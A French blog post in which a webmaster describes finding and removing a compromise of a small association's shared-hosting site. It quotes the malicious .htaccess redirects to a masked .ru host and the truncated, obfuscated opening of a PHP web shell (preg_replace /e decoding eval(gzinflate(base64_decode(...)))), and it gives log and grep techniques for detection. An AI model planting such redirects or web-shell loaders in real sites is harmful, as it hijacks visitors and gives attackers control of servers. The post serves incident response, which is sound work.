Jusqu’à ce jour je n’es eu a faire face qu’a trois attaque dirigé contre des site sous ma responsabilité. Les deux premières furent sur mangas-tv du temps ou je m’en occupait encore. Ces deux premières attaquent étais dirigé par des hackers et j’ai pu résoudre ces deux problèmes de la même manières: Je suis rentré en contact avec le hacker (annonce sur le site web en question).
J’ai actuellement comme travail la refonte d’un petit site internet (type association foyer rural) afin de remplacer un vieux site statique. J’ai récemment pu découvrir que le vieux site avait permis a des robots de rentrer sur l’hébergement tel un gruyère.
Voilà en gros ce que j’ai pu trouver sur la machine:
Des .htaccess contenant ce genre de choses
ErrorDocument 400 http://**********.ru/upday/index.php ErrorDocument 401 http://**********.ru/upday/index.php [...] RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite| altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search| metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex| rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch |yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search |walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick |terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey |galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro |suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase |schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://*******.ru/upday/index.php [R=301,L] [...]
Et des fichiers php avec ce genre de contenu:
<?php $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true; $default_charset="Windows-1251";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A \x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64 \x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4Ck REqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHC tPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEk tN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzru mVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcu mz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwj AQzKhlHgTkLPCodOWCzQSCFI4 [...]
En gros on constate que des scripts php servant de porte dérobés placent des .htaccess un peu partout pour modifier le comportement du navigateurs des visiteurs. Du moins c’est ma conclusion.
Une des premières choses a faire et d’aller consulter les fichiers journaux (logs) de votre machine. Pour un hébergement mutualisé chez ovh nous avons accès a ces différents logs ici: https://logs.ovh.net/ (identifiez vous avec votre accès OVH).
Premièrement de quel manière l’attaquant entre en contact avec votre machine: FTP ? Je regarde les logs d’accès: il n’y a aucun autre accès que le mien dans les logs. On change tout de même de mot de passe.
Deuxièmement: Les accès http. On fouille dans les requêtes http voir ce que l’on trouve. Dans mon cas ces lignes sont intéressantes:
77.84.28.135 domain.tdl - [23/Feb/2012:00:00:00 +0100] "POST /fichiers/cookiemw5.php HTTP/1.1" 200 34 "-" "-" 79.137.237.79 domain.tdl - [23/Feb/2012:00:01:28 +0100] "POST /photos/zp-core/ zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/class.imagess.php HTTP/1.1" 200 123 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
On peut trouver de cette manière quel sont les fichiers trojans sur le serveur. Mais ce n’est pas non plus très pratique: Des milliers voir des millions de lignes a lire (ou a exploiter avec des scripts bien sur) et la liste que vous arriverez a faire ne sera pas exhaustive.
Les hébergements « perso » chez ovh ne nous permettent pas de se connecter en ssh a la machine d’hébergement. Ce qui au final est un gros handicap de ne pas pouvoir utiliser la puissance de la ligne de commande. C’est la que ca devient intéressant: Ovh propose un accès WebDav. bingo on peut se monter un répertoire pointant sur le webdav ! (activez votre accès webdav sur l’interface ovh au préalable)
mkdir /mnt/tmp mount.davfs https://[login].webdav.ovh.net /mnt/tmp
On peut maintenant utiliser la puissance de la ligne de commande sur les fichiers de l’hébergement mutualisé. Ma stratégie a été de rechercher dans tous les fichiers du contenu similaire a celui trouvé dans les fichiers suspects:
grep --color=auto -rn "auth_pass" /mnt/tmp | tee -a /home/bux/tmp/logvirus_a_1 && grep --color=auto -rn "RewriteCond" /mnt/tmp | tee -a /home/bux/tmp/logvirus_a_2
| tee -a permet de mettre dans un ffichier le résultat de la commande.
J’ai pu par la suite éplucher le résultat de mes deux commandes et lister les fichiers a supprimer. Pour le moment tout semble tranquille mais je reste au aguets, rien ne dit que je n’est pas raté certains fichiers …
Edit: Depuis le site à de nouveau été vérolé. J’ai donc du tout supprimer du FTP et réinstaller les composant un à un a partir de source propres (wordpress, gestionnaire de photos, etc)